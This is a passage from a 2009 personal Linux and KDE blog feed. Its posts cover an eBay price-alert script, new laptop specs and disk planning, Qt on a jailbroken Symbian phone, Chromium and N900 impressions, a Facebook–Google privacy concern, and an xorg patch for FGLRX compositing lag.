                <span style="color: #dc143c;">os</span>.<span style="color: black;">system</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;echo 'As of %s, auction is at %s' | sendmail MYTELEPHONENUMBER@txt.att.net&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span><span style="color: #dc143c;">time</span>.<span style="color: black;">asctime</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>, now<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
                last = now
        <span style="color: #dc143c;">time</span>.<span style="color: black;">sleep</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">45</span><span style="color: black;">&#41;</span></pre></div></div>

<p>Aye yie yie.</p>
<h3>The Specs</h3>
<p>But I&#8217;m quite excited about the new laptop I&#8217;ve ordered:<br />
<img src="http://i.dell.com/images/global/products/laptop_studio/laptop_studio_highlights/studio-1747-design1.jpg"><br />
The specs are:</p>
<ul>
<li>Intel Core i7 820QM 1.73GHz (3.06GHz Turbo Mode, 8MB Cache)</li>
<li>8GB ram, DDR3, 1333MHz, 2 DIMM</li>
<li>ATI Mobility Radeon HD4650 with 1GB ram</li>
<li>Two 500GB 7200rpm hard drives</li>
<li>17.3in 1920&#215;1080 Screen</li>
<li>BluRay Burner</li>
<li>4 Year CompleteCare Warranty</li>
</ul>
<p>With an awesome discount by asking the phone sales manager&#8217;s manager&#8217;s manager, this all cost before tax $2,350. Still expensive, but I&#8217;m hoping that <a href="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&#038;item=230409562381" onclick="pageTracker._trackPageview('/outgoing/cgi.ebay.com/ws/eBayISAPI.dll?ViewItem_038_item=230409562381&amp;referer=');">eBay auction</a> will mostly pay for it.</p>
<h3>The Interesting Part: Configuration</h3>
<p>So while I wait for the new machine to arrive, I have to start planning what I&#8217;m going to put on it, and how I&#8217;m going to do it.</p>
<p>It has a fast processor and a lot of ram. It seems, however, that it has more ram than processor, in a sense. What I mean is that with 8 gigs of ram, it seems like I might as well keep all programs running at all times. The problem could be though &#8211; maybe too many idle processes will gradually eat away at CPU. I&#8217;m not sure. Will it?</p>
<p>What do you think? With so much ram, I also need to decide what I&#8217;m going to do about swap/hibernation. Do I use a separate partition of 4gigs for swap? Or do I go with the swap<i>file</i> approach? Or do I not even use a swap at all, because 8gigs of ram is a lot? For hibernation, do I use what&#8217;s in 2.6.32 by default or do I patch in <a href="http://www.tuxonice.net" onclick="pageTracker._trackPageview('/outgoing/www.tuxonice.net?referer=');">TuxOnIce</a>? Decisions, decisions.</p>
<p>I&#8217;ll probably go with Gentoo, because it&#8217;s customizable and I&#8217;ve used it for <i>years</i>. It has its shortcomings, however, and I&#8217;m curious about <a href="http://exherbo.org" onclick="pageTracker._trackPageview('/outgoing/exherbo.org?referer=');">Exherbo</a>, which claims to do what Gentoo does but better, or a customizable binary distro like Arch, or maybe even make the huge leap to an advanced popular distro like Fedora. I&#8217;ll probably just stay with Gentoo though, unless somebody can make a really good case to do otherwise. Flamewars, commence.</p>
<p>Of course, I&#8217;ll be using KDE SC 4.4 Beta 2 by the time the computer arrives. By the way, I hate adding the &#8220;SC&#8221; in there, but I think PlanetKDE would come after me if I neglected it. Branding shmanding. But anyway, KDE should fly on the new machine.</p>
<p>The wifi card supports 802.11n, but is unfortunately one of the Broadcom cards that is only supported by the hybrid-proprietary wl driver. Also, in my experience, FGLRX, ATI&#8217;s proprietary driver, outperforms RadeonHD by a long shot, so I&#8217;ll be using FGLRX too. Shucks. At least ATI&#8217;s own John Bridgman <a href="http://blog.zx2c4.com/169#comment-841">has pointed us</a> to a <a href="http://launchpadlibrarian.net/32728179/xserver-xorg-backclear.patch" onclick="pageTracker._trackPageview('/outgoing/launchpadlibrarian.net/32728179/xserver-xorg-backclear.patch?referer=');">solution</a> for the KWin resizing compositing problem.</p>
<h3>The Big Issue: Data Organization</h3>
<p>The biggest issue, however, is what I am going to do with 1TB of hard drive space. How do I divide it up? The breakdown of the situation is this: </p>
<p><i>Storage:</i></p>
<ul>
<li>Internal 500gb</li>
<li>Internal 500gb</li>
<li>External 500gb (via USB2)</li>
<li>Online server with lots of gb (via ssh+rsync)</li>
</ul>
<p><i>Data:</i></p>
<ul>
<li>26gb of pictures (and growing)</li>
<li>67gb of music</li>
<li>2gb of code</li>
<li>1gb of documents</li>
<li>15gb of protools archives</li>
<li>10gb of goofy home videos from middle school</li>
<li>1gb of old school work</li>
<li>2gb of middle school junk archives</li>
<li>1gb of old code projects</li>
<li>300gb of downloaded junk</li>
</ul>
<p>So what are my options for all of this? First of all, which file system? I&#8217;ll probably go with ext4, because it seems like the best you can get on Linux right now. How do I organize the data? Some possible schemes are:</p>
<ul>
<li>Many operating systems on Internal1, all data on Internal2, data backed up to both Online and External</li>
<li>Linux in Internal1 along with main data (pics, docs, music, code), with downloaded junk on Internal2, and archives of old stuff on External, with important stuff backed up to Online</li>
<li>Linux in Internal1 along with main data (pics, docs, music, code), with downloaded junk and archives of old stuff on Internal2, with important stuff backed up to both Online and External</li>
<li>Use LVM to concatenate the two drives</li>
<li>Use LVM for RAID-1</li>
<li>Use LVM for RAID-0</li>
<li>Use LVM for RAID-10</li>
</ul>
<p><b>What else? What do I do here?!?</b></p>
<p>I&#8217;m really not quite sure. What do you think? What else should I be thinking about? Location of home directory? The additional power consumption of a second HD and hdparm -Y? I want to configure this system perfectly; I need all the help I can get.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/230#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=230" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/230/feed</wfw:commentRss>
		<slash:comments>40</slash:comments>
		</item>
		<item>
		<title>Testing out Qt for Symbian</title>
		<link>http://blog.zx2c4.com/223</link>
		<comments>http://blog.zx2c4.com/223#comments</comments>
		<pubDate>Sat, 05 Dec 2009 10:52:15 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[Symbian]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=223</guid>
		<description><![CDATA[Qt 4.6 was released, and Alessandro put together some awesome tutorial videos for setting up a Qt/Symbian development platform. The installation was not so smooth, however. I have a Nokia 6650, branded and locked down by AT&#038;T, which makes it awful. It&#8217;s filled with bloatware I can&#8217;t remove and there are all sorts of restrictions [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/223#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=223" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.youtube.com/watch?v=c95KAuorbIU" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=c95KAuorbIU&amp;referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/12/messagepoppersymbian.jpg" alt="MessagePopper on Symbian and Linux" title="MessagePopper on Symbian and Linux" class="aligncenter size-full wp-image-226" border="0"/></a></p>
<p>Qt 4.6 was released, and Alessandro put together some <a href="http://labs.trolltech.com/blogs/2009/12/03/tutorial-videos-qt-development-for-symbian/" onclick="pageTracker._trackPageview('/outgoing/labs.trolltech.com/blogs/2009/12/03/tutorial-videos-qt-development-for-symbian/?referer=');">awesome tutorial videos</a> for setting up a Qt/Symbian development platform. </p>
<p>The installation was not so smooth, however. I have a Nokia 6650, branded and locked down by AT&#038;T, which makes it awful. It&#8217;s filled with bloatware I can&#8217;t remove and there are all sorts of restrictions in the operating system, especially related to app installation. It would not let me install PIPS, which is required for OpenC and Qt, and gave me either a nasty error from Qt&#8217;s demo installer or from the standalone installer an error message like &#8220;Component already built-in. You&#8217;re screwed.&#8221; So I had to jailbreak the phone, by installing HelloCarbide to allow me to install CapsOn/Off to allow me to insert a hacked installserver.exe so that it would let me install PIPS. Whew that took a long time. Debug deployment is also broken with a message like &#8220;General OS error.&#8221; No clue. It will sometimes work if installed manually, but basically, AT&#038;T&#8217;s restrictions make development pretty rough.</p>
<p>Nevertheless, I prevailed in porting my classic Qt example app: <a href="http://git.zx2c4.com/?p=messagepopper.git" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=messagepopper.git&amp;referer=');">MessagePopper</a>. The only modifications were having the main window show with showMaximized() instead of show() for Q_OS_SYMBIAN and focusing a text input, because evidently if a focused widget is hidden and no other visible widget is programmatically focused, the user cannot select anything. The huge addition was adding a function call to ask Symbian for a network connection, and this required including from Qt&#8217;s FTP demo the <a href="http://git.zx2c4.com/?p=messagepopper.git;a=blob;f=sym_iap_util.h" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=messagepopper.git_a=blob_f=sym_iap_util.h&amp;referer=');">sym_iap_util.h</a> header and <a href="http://git.zx2c4.com/?p=messagepopper.git;a=blobdiff;f=MessagePopper.pro;h=cb320f2f066546a55b7ab7ad9f53a341ed4f7038;hp=a780c73c92a370da774d7668cacb5ce40c4d50dd;hb=HEAD;hpb=fb8677daa2658e52511317511d497dfc456e4dc8" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=messagepopper.git_a=blobdiff_f=MessagePopper.pro_h=cb320f2f066546a55b7ab7ad9f53a341ed4f7038_hp=a780c73c92a370da774d7668cacb5ce40c4d50dd_hb=HEAD_hpb=fb8677daa2658e52511317511d497dfc456e4dc8&amp;referer=');">qmake pro additions</a>. Oy. I wish this part were built in to QtNetwork.</p>
<p>It worked beautifully though, and here&#8217;s a video demonstrating the app:<br />
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/c95KAuorbIU&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/c95KAuorbIU&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />
<a href="http://www.youtube.com/watch?v=c95KAuorbIU" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=c95KAuorbIU&amp;referer=');"><b>(link to youtube original)</b></a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/223#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=223" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/223/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Chromium Rocks</title>
		<link>http://blog.zx2c4.com/220</link>
		<comments>http://blog.zx2c4.com/220#comments</comments>
		<pubDate>Sat, 24 Oct 2009 02:13:40 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KHTML]]></category>
		<category><![CDATA[Konqueror]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=220</guid>
		<description><![CDATA[I just compiled Chromium, and it rocks. The download manager is better than Firefox, the design is cleaner, the JavaScript performance is a 4 times better, and overall it just seems more solid. The web works better in it. My only complaints so far are some weird font rendering issues and a lack of extensions [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/220#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=220" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I just compiled Chromium, and it rocks. The download manager is better than Firefox, the design is cleaner, the JavaScript performance is a 4 times better, and overall it just seems more solid. The web works better in it. My only complaints so far are some weird font rendering issues and a lack of extensions (adblock, customize google, gmail notifier, live http headers, modify headers, open in browser, right-click-link, skipscreen, useragent switcher&#8230;). I&#8217;ll stick with Firefox until there is good extension support for Chromium.</p>
<p>I did a JS performance test of QtWebKit, KHTML, Gecko, and V8, and here are the results:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/10/sunspider_0_9_benchmark.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/10/sunspider_0_9_benchmark-450x239.png" alt="Sunspider Benchmark" title="Sunspider Benchmark" width="450" height="239" class="aligncenter size-medium wp-image-221" /></a></p>
<p>Evidently KHTML has <b>a lot</b> of catching up to do, per usual. </p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/220#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=220" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/220/feed</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Hands on with the N900</title>
		<link>http://blog.zx2c4.com/212</link>
		<comments>http://blog.zx2c4.com/212#comments</comments>
		<pubDate>Thu, 15 Oct 2009 02:52:24 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Maemo]]></category>
		<category><![CDATA[N900]]></category>
		<category><![CDATA[Nokia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=212</guid>
		<description><![CDATA[I played with the N900 today at the Nokia store in NYC and was thoroughly disappointed. From reading all those fanboy posts out there, I expected the most awesome telephone ever, but instead I was presented with the following cons: It is clunky. Really clunky. It&#8217;s very thick and does not fit into the pocket [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/212#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=212" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zx2c4.com/wp-content/uploads/2009/10/IMG_0328.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/10/IMG_0328-450x300.jpg" alt="Playing with the N900" title="Playing with the N900" width="450" height="300" class="aligncenter size-medium wp-image-216" /></a><br />
I played with the N900 today at the Nokia store in NYC and was thoroughly disappointed. From reading all those fanboy posts out there, I expected the most awesome telephone ever, but instead I was presented with the following cons:</p>
<ul>
<li>It is clunky. Really clunky. It&#8217;s very thick and does not fit into the pocket well.</li>
<li>The keyboard is too tiny. Maybe this just takes some getting used to, but I couldn&#8217;t do it.</li>
<li>No multi-touch. The little swirling gesture to zoom is a cop-out for a much needed multi-touch screen.</li>
<li>Unintuitive user-interface. Some things made sense, but generally operations took one too many clicks. Making phone calls should be easy and fast.</li>
<li>The user interface does not rotate.</li>
<li>The web browser is turkey slow, even for cached pages.</li>
<li>Ovi maps is uglier than GMaps, and again &#8211; no multi-touch.</li>
</ul>
<p>Oh well. I guess I&#8217;ll wait until the N900+1, especially considering that Maemo 5 will <a href="http://blog.zx2c4.com/202">soon be obsolete</a>.</p>
<p>Or maybe I&#8217;m just approaching it the wrong way? I dunno. After all, it does run Linux, can run KDE, and is extremely open&#8230; but still: it&#8217;s lacking heavily in several areas.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/212#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=212" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/212/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Maemo 5 or Maemo 6?</title>
		<link>http://blog.zx2c4.com/202</link>
		<comments>http://blog.zx2c4.com/202#comments</comments>
		<pubDate>Wed, 14 Oct 2009 19:45:16 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Maemo]]></category>
		<category><![CDATA[N900]]></category>
		<category><![CDATA[Nokia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=202</guid>
		<description><![CDATA[The N900 looks good, and later today I plan to go down to NYC&#8217;s Nokia store to investigate. However, as Ars reports, the N900 is the 4th step in a 5 step program to develop a mainstream smart phone, and Maemo 5 is last platform before Qt domination comes to Nokia. So should I wait [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/202#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=202" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zx2c4.com/wp-content/uploads/2009/10/n900.jpg" alt="N900" title="N900" width="200" height="116" align="right" class="alignright size-full wp-image-205" />The N900 looks good, and later today I plan to go down to NYC&#8217;s Nokia store to investigate. However, as <a href="http://arstechnica.com/open-source/news/2009/10/next-gen-nokia-linux-devices-will-get-multitouch-and-qt-ui.ars" onclick="pageTracker._trackPageview('/outgoing/arstechnica.com/open-source/news/2009/10/next-gen-nokia-linux-devices-will-get-multitouch-and-qt-ui.ars?referer=');">Ars reports</a>, the N900 is the 4th step in a 5 step program to develop a mainstream smart phone, and Maemo 5 is last platform before <i>Qt domination</i> comes to Nokia.</p>
<p>So should I wait for the N900+1? $649 is a lot to shell out for a device that is running on a platform that is being retired (&#8220;moved to community support&#8221;). Besides, I&#8217;m a Qt guy, not a Gtk wizard, and any programming I do with the device will most likely be with Qt. Will Maemo 6 be available for the N900? The N900 does not, as far as I can tell, have a multi-touch screen, which means it won&#8217;t be able to use Qt 4.6+&#8217;s multi-touch gesture support.</p>
<p>On the other hand, how much longer until a Maemo 6 device is released? Probably over a year from now. I also fear, perhaps without good reason, that Maemo 6 (and perhaps even Maemo 5 &#8212; I&#8217;ll find out later today when I try it out) will have some kind of new-age high-tech web-service-enabled interface that is going to be more difficult to use than my current old school phone. I dunno.</p>
<p>So what should I do? Go for the N900/Maemo5 if it looks decent, or wait who knows how long for the N900+1/Maemo6?</p>
<p><i>PS: What&#8217;s the story with <a href="http://qt.gitorious.org/maemo-6-ui-framework/framework-technical-preview/blobs/master/src/core/duiapplication.cpp" onclick="pageTracker._trackPageview('/outgoing/qt.gitorious.org/maemo-6-ui-framework/framework-technical-preview/blobs/master/src/core/duiapplication.cpp?referer=');">libdui</a> or DirectUI? I can&#8217;t find much about this online.</i></p>
<p><i>PPS: Is there a future relationship between Plasma and Maemo beyond <a href="http://www.kdedevelopers.org/node/4078" onclick="pageTracker._trackPageview('/outgoing/www.kdedevelopers.org/node/4078?referer=');">neat hacks</a>?</i></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/202#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=202" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/202/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Facebook Google Account Linking</title>
		<link>http://blog.zx2c4.com/196</link>
		<comments>http://blog.zx2c4.com/196#comments</comments>
		<pubDate>Tue, 06 Oct 2009 18:56:44 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Privacy]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=196</guid>
		<description><![CDATA[Facebook allows linking with my Google account so that I only have to sign into GMail to access my Facebook. Wonderful: Except that once I try to initiate the linking, Google warns me that Facebook will have access to all of my contacts, which includes everyone I&#8217;ve ever e-mailed: What&#8217;s the deal? I can&#8217;t find [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/196#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=196" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Facebook allows linking with my Google account so that I only have to sign into GMail to access my Facebook. Wonderful:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/10/facebook-link-2.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/10/facebook-link-2-450x96.png" alt="Link Google to Facebook" title="Link Google to Facebook" width="450" height="96" class="aligncenter size-medium wp-image-197" /></a><br />
Except that once I try to initiate the linking, Google warns me that Facebook will have access to all of my contacts, which includes everyone I&#8217;ve ever e-mailed:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/10/facebook-link.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/10/facebook-link.png" alt="Facebook wants Google contacts" title="Facebook wants Google contacts" width="379" height="447" class="aligncenter size-full wp-image-200" /></a><br />
What&#8217;s the deal? I can&#8217;t find any information about what Facebook does with this info, or if they store it, nor any privacy info about it. Why does Facebook even request this information from Google? I&#8217;d use this feature, but this is unacceptable.</p>
<p>Anyone know what&#8217;s up?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/196#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=196" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/196/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fast Compositing with KDE4 and FGLRX</title>
		<link>http://blog.zx2c4.com/190</link>
		<comments>http://blog.zx2c4.com/190#comments</comments>
		<pubDate>Tue, 08 Sep 2009 03:30:34 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ATI]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[KWin]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=190</guid>
		<description><![CDATA[After a much heated discussion about how to fix the horrible resizing and performance bug with FGLRX and KDE4, no one knew where to start looking. The X team had to do a little digging; the KDE4 team needed to change somethings; the FGLRX warehouse needed to get their shit together and listen to the [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/190#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=190" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>After a <a href="http://blog.zx2c4.com/169">much heated discussion</a> about how to fix the horrible resizing and performance bug with FGLRX and KDE4, no one knew where to start looking. The X team had to do a little digging; the KDE4 team needed to change somethings; the FGLRX warehouse needed to get their shit together and listen to the users&#8230; bla bla bla the flame wars raged on, fingers were pointed, and nothing ever got done.</p>
<p>That is, nothing got done until a lone user piped up with a workaround. Here is what he wrote in the <a href="http://blog.zx2c4.com/169#comment-404">comments</a> of that blog post:</p>
<blockquote><p>Hi, I have been pissed off by this problem a long time and assumed it was ATI’s fault. Tonight I made one last effort before ordering a Nvidia graphics card. And I was successful.</p>
<p>I am running catalyst 9.8 using a Radeon 3850 and have had this re-size/maximize problem as long as long as I have used KDE4. To solve the problem I needed to modify a file in xorg-server. in the code directory it is called ./composite/compalloc.c. Here I commented out most of a function called compNewPixmap. Everything below these lines:</p>
<p>pPixmap->screen_x = x;<br />
pPixmap->screen_y = y;</p>
<p>all the way down to (but not including) the last line:</p>
<p>return pPixmap;</p>
<p>After this I am running KDE4 with all desktop effects that I want and without any lag in resizing/maximizing.<br />
I am running Gentoo, so I just updated the xorg-server source package file and put it back into the source repository, rebuilt the manifest and emerged it again. Voila!</p></blockquote>
<p>Voila indeed. The patch he&#8217;s talking about looks like this (thanks to <a href="http://razum2um.alwaysdata.net/2009/09/08/fglrx-na-gentoo/" onclick="pageTracker._trackPageview('/outgoing/razum2um.alwaysdata.net/2009/09/08/fglrx-na-gentoo/?referer=');">this Russian blog I can&#8217;t read</a>):</p>

<div class="wp_syntax"><div class="code"><pre class="diff" style="font-family:monospace;"><span style="color: #888822;">--- composite/compalloc.c.orig  2009-09-08 02:54:28.657143479 +0700                              </span>
<span style="color: #888822;">+++ composite/compalloc.c       2009-09-08 02:55:42.835357653 +0700                              </span>
<span style="color: #440088;">@@ -484,64 +484,6 @@                                                                             </span>
     pPixmap-&gt;screen_x = x;                                                                      
     pPixmap-&gt;screen_y = y;                                                                      
&nbsp;
<span style="color: #991111;">-    if <span style="">&#40;</span>pParent-&gt;drawable.depth == pWin-&gt;drawable.depth<span style="">&#41;</span>                                        </span>
<span style="color: #991111;">-    <span style="">&#123;</span>                                                                                           </span>
<span style="color: #991111;">-       GCPtr   pGC = GetScratchGC <span style="">&#40;</span>pWin-&gt;drawable.depth, pScreen<span style="">&#41;</span>;                              </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-       /*                                                                                       </span>
<span style="color: #991111;">-        * Copy bits from the parent into the new pixmap so that it will                         </span>
<span style="color: #991111;">-        * have &quot;reasonable&quot; contents in case for background None areas.                         </span>
<span style="color: #991111;">-        */                                                                                      </span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pGC<span style="">&#41;</span>                                                                                 </span>
<span style="color: #991111;">-       <span style="">&#123;</span>                                                                                        </span>
<span style="color: #991111;">-           XID val = IncludeInferiors;                                                          </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-           ValidateGC<span style="">&#40;</span>&amp;pPixmap-&gt;drawable, pGC<span style="">&#41;</span>;                                                 </span>
<span style="color: #991111;">-           dixChangeGC <span style="">&#40;</span>serverClient, pGC, GCSubwindowMode, &amp;val, NULL<span style="">&#41;</span>;                        </span>
<span style="color: #991111;">-           <span style="">&#40;</span>*pGC-&gt;ops-&gt;CopyArea<span style="">&#41;</span> <span style="">&#40;</span>&amp;pParent-&gt;drawable,                                           </span>
<span style="color: #991111;">-                                  &amp;pPixmap-&gt;drawable,                                           </span>
<span style="color: #991111;">-                                  pGC,                                                          </span>
<span style="color: #991111;">-                                  x - pParent-&gt;drawable.x,                                      </span>
<span style="color: #991111;">-                                  y - pParent-&gt;drawable.y,                                      </span>
<span style="color: #991111;">-                                  w, h, <span style="">0</span>, <span style="">0</span><span style="">&#41;</span>;                                                  </span>
<span style="color: #991111;">-           FreeScratchGC <span style="">&#40;</span>pGC<span style="">&#41;</span>;                                                                 </span>
<span style="color: #991111;">-       <span style="">&#125;</span>                                                                                        </span>
<span style="color: #991111;">-    <span style="">&#125;</span>                                                                                           </span>
<span style="color: #991111;">-    else                                                                                        </span>
<span style="color: #991111;">-    <span style="">&#123;</span>                                                                                           </span>
<span style="color: #991111;">-       PictFormatPtr   pSrcFormat = compWindowFormat <span style="">&#40;</span>pParent<span style="">&#41;</span>;                                 </span>
<span style="color: #991111;">-       PictFormatPtr   pDstFormat = compWindowFormat <span style="">&#40;</span>pWin<span style="">&#41;</span>;                                    </span>
<span style="color: #991111;">-       XID             inferiors = IncludeInferiors;                                            </span>
<span style="color: #991111;">-       int             error;                                                                   </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-       PicturePtr      pSrcPicture = CreatePicture <span style="">&#40;</span>None,                                       </span>
<span style="color: #991111;">-                                                    &amp;pParent-&gt;drawable,                         </span>
<span style="color: #991111;">-                                                    pSrcFormat,                                 </span>
<span style="color: #991111;">-                                                    CPSubwindowMode,                            </span>
<span style="color: #991111;">-                                                    &amp;inferiors,                                 </span>
<span style="color: #991111;">-                                                    serverClient, &amp;error<span style="">&#41;</span>;                      </span>
<span style="color: #991111;">-                                                                                                </span>
<span style="color: #991111;">-       PicturePtr      pDstPicture = CreatePicture <span style="">&#40;</span>None,                                       </span>
<span style="color: #991111;">-                                                    &amp;pPixmap-&gt;drawable,                         </span>
<span style="color: #991111;">-                                                    pDstFormat,</span>
<span style="color: #991111;">-                                                    0, 0,</span>
<span style="color: #991111;">-                                                    serverClient, &amp;error<span style="">&#41;</span>;</span>
<span style="color: #991111;">-</span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pSrcPicture &amp;&amp; pDstPicture<span style="">&#41;</span></span>
<span style="color: #991111;">-       <span style="">&#123;</span></span>
<span style="color: #991111;">-           CompositePicture <span style="">&#40;</span>PictOpSrc,</span>
<span style="color: #991111;">-                             pSrcPicture,</span>
<span style="color: #991111;">-                             NULL,</span>
<span style="color: #991111;">-                             pDstPicture,</span>
<span style="color: #991111;">-                             x - pParent-&gt;drawable.x,</span>
<span style="color: #991111;">-                             y - pParent-&gt;drawable.y,</span>
<span style="color: #991111;">-                             <span style="">0</span>, <span style="">0</span>, <span style="">0</span>, <span style="">0</span>, w, h<span style="">&#41;</span>;</span>
<span style="color: #991111;">-       <span style="">&#125;</span></span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pSrcPicture<span style="">&#41;</span></span>
<span style="color: #991111;">-           FreePicture <span style="">&#40;</span>pSrcPicture, <span style="">0</span><span style="">&#41;</span>;</span>
<span style="color: #991111;">-       if <span style="">&#40;</span>pDstPicture<span style="">&#41;</span></span>
<span style="color: #991111;">-           FreePicture <span style="">&#40;</span>pDstPicture, <span style="">0</span><span style="">&#41;</span>;</span>
<span style="color: #991111;">-    <span style="">&#125;</span></span>
     return pPixmap;
 <span style="">&#125;</span></pre></div></div>

<p>This patch works like a charm. All of the FGLRX resizing/maximizing bugs disappear. Not only that, but things like clicking on the K menu are suddenly a lot faster&#8230; KDE4 doesn&#8217;t seem laggy and now has the performance I&#8217;ve expected all along. The effects look great, and my transparent terminal is a delight.</p>
<p>There is, however, a bit of garbage that shows up occasionally, and perhaps there&#8217;s a good use for the code that was removed in the patch. Why is it only FGLRX that benefits from removing this code? I don&#8217;t know much about XOrg internals, but I&#8217;m guessing it has to do with some sort of sometimes-required allocation that causes a readback in the FGLRX driver but not in other drivers. What&#8217;s the deal? Is fixing this problem as simple as committing this patch and then fixing the garbage error? Or is the code that was removed necessary, and really the problem lays with FGLRX? What to do at this point?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/190#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=190" style="border:0;" /></a></div>]]></content:encoded>
